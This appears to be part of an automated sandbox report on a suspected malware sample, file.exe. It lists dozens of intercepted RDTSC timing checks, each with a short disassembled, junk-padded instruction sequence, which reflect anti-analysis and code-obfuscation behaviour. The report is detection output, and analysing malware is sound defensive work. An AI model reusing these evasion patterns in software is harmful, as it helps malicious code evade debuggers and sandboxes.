Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F2D4 second address: 105F326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F35A91AEEA3h 0x0000000d pop edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F35A91AEEA5h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 jmp 00007F35A91AEEA4h 0x0000001e popad 0x0000001f push edi 0x00000020 push edi 0x00000021 push edx 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F46C second address: 105F470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F470 second address: 105F493 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA4h 0x00000007 jmp 00007F35A91AEE9Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF660E second address: FF6614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067DB2 second address: 1067DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10681C6 second address: 10681CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068313 second address: 106831B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10678C6 second address: 10678CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10678CE second address: 10678D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068647 second address: 1068665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F35A9347BB7h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068665 second address: 1068672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F35A91AEE9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068672 second address: 1068688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F35A9347BAAh 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BC17 second address: 106BC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F35A91AEE96h 0x0000000a pop esi 0x0000000b jmp 00007F35A91AEEA9h 0x00000010 push edi 0x00000011 jmp 00007F35A91AEE9Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BC48 second address: 106BC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F35A9347BAEh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F35A9347BACh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BC66 second address: 106BC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jns 00007F35A91AEE96h 0x0000000b jl 00007F35A91AEE96h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BC7A second address: 106BC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BC80 second address: 106BC84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE014 second address: FEE01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107161C second address: 1071641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F35A91AEEA0h 0x0000000c jmp 00007F35A91AEE9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107060B second address: 107061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F35A9347BA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107061A second address: 1070620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070620 second address: 1070624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070624 second address: 1070628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070628 second address: 107063E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F35A9347BAAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107063E second address: 1070642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070BC7 second address: 1070BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070D2A second address: 1070D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070D32 second address: 1070D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071066 second address: 1071073 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071073 second address: 1071084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F35A9347BADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071084 second address: 107108A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107108A second address: 107109A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F35A9347BAAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D58 second address: 1014D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007F35A91AEE96h 0x0000000c jmp 00007F35A91AEEA9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D7D second address: 1014D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D81 second address: 1014D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D92 second address: 1014D97 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1014D97 second address: 1014DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F35A91AEE96h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF1556 second address: FF155B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DC73 second address: 102DC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DC7A second address: 101427F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F35A9347BADh 0x0000000e nop 0x0000000f mov edx, dword ptr [ebp+122D2D89h] 0x00000015 lea eax, dword ptr [ebp+124829C8h] 0x0000001b jns 00007F35A9347BA7h 0x00000021 push eax 0x00000022 push esi 0x00000023 jmp 00007F35A9347BADh 0x00000028 pop esi 0x00000029 mov dword ptr [esp], eax 0x0000002c je 00007F35A9347BACh 0x00000032 mov dword ptr [ebp+122D39BDh], ebx 0x00000038 call dword ptr [ebp+122D59D3h] 0x0000003e pushad 0x0000003f push eax 0x00000040 jmp 00007F35A9347BB9h 0x00000045 jmp 00007F35A9347BACh 0x0000004a pop eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DD5C second address: 102DD62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102DD62 second address: 102DD76 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F35A9347BB0h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E24E second address: 102E252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E252 second address: 102E304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F35A9347BB2h 0x0000000c pop ecx 0x0000000d popad 0x0000000e xor dword ptr [esp], 032A357Bh 0x00000015 jmp 00007F35A9347BB3h 0x0000001a sbb dh, FFFFFF8Ch 0x0000001d call 00007F35A9347BA9h 0x00000022 jnl 00007F35A9347BB0h 0x00000028 push eax 0x00000029 jmp 00007F35A9347BACh 0x0000002e mov eax, dword ptr [esp+04h] 0x00000032 pushad 0x00000033 push edi 0x00000034 push eax 0x00000035 pop eax 0x00000036 pop edi 0x00000037 jmp 00007F35A9347BACh 0x0000003c popad 0x0000003d mov eax, dword ptr [eax] 0x0000003f je 00007F35A9347BB2h 0x00000045 ja 00007F35A9347BACh 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f pushad 0x00000050 pushad 0x00000051 jmp 00007F35A9347BAEh 0x00000056 push edx 0x00000057 pop edx 0x00000058 popad 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F35A9347BB1h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E43D second address: 102E450 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b mov dx, bx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EA19 second address: 102EA92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F35A9347BA8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 xor ecx, dword ptr [ebp+122D383Bh] 0x0000002c push 0000001Eh 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F35A9347BA8h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 nop 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F35A9347BB1h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EA92 second address: 102EA98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EA98 second address: 102EAB3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F35A9347BACh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDA6 second address: 102EDAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDAB second address: 102EDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F35A9347BAFh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDC7 second address: 102EDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDCC second address: 102EDEF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F35A9347BA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F35A9347BB1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDEF second address: 102EE1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEEA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F35A91AEE9Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EE1E second address: 102EE22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EE22 second address: 102EE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EF00 second address: 102EF0A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F35A9347BACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075272 second address: 1075297 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A91AEE9Eh 0x00000007 jmp 00007F35A91AEE9Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jns 00007F35A91AEE96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075297 second address: 10752A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10752A1 second address: 10752A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10752A7 second address: 10752B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F35A9347BA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075547 second address: 1075551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F35A91AEE96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075551 second address: 1075555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075555 second address: 107555B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107555B second address: 107558C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F35A9347BABh 0x00000007 jng 00007F35A9347BBBh 0x0000000d jmp 00007F35A9347BB5h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107558C second address: 1075590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075701 second address: 107570B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F35A9347BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10759FC second address: 1075A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075B70 second address: 1075B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F35A9347BA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075B7E second address: 1075B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075B84 second address: 1075B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8F9B second address: FE8FA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079618 second address: 107961E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107961E second address: 107965A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F35A91AEEA1h 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F35A91AEE9Ch 0x00000014 jng 00007F35A91AEE96h 0x0000001a pushad 0x0000001b popad 0x0000001c push edx 0x0000001d pop edx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 pop edi 0x00000023 jns 00007F35A91AEE96h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10797F1 second address: 10797FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107995A second address: 1079964 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F35A91AEE96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079964 second address: 107997D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F35A9347BACh 0x00000013 jnc 00007F35A9347BA6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107997D second address: 1079982 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BC3C second address: 107BC46 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F35A9347BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BDD5 second address: 107BDD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BDD9 second address: 107BDDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FE57 second address: 107FE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082C88 second address: 1082C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082C8C second address: 1082C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082C92 second address: 1082C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082C9C second address: 1082CA1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082CA1 second address: 1082CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082CA7 second address: 1082CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087319 second address: 108733F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F35A9347BA6h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jc 00007F35A9347BA6h 0x00000012 jmp 00007F35A9347BADh 0x00000017 ja 00007F35A9347BA6h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087603 second address: 1087613 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F35A91AEE96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087613 second address: 1087617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088233 second address: 108824C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F35A91AEE96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F35A91AEE96h 0x00000013 jo 00007F35A91AEE96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108824C second address: 1088250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
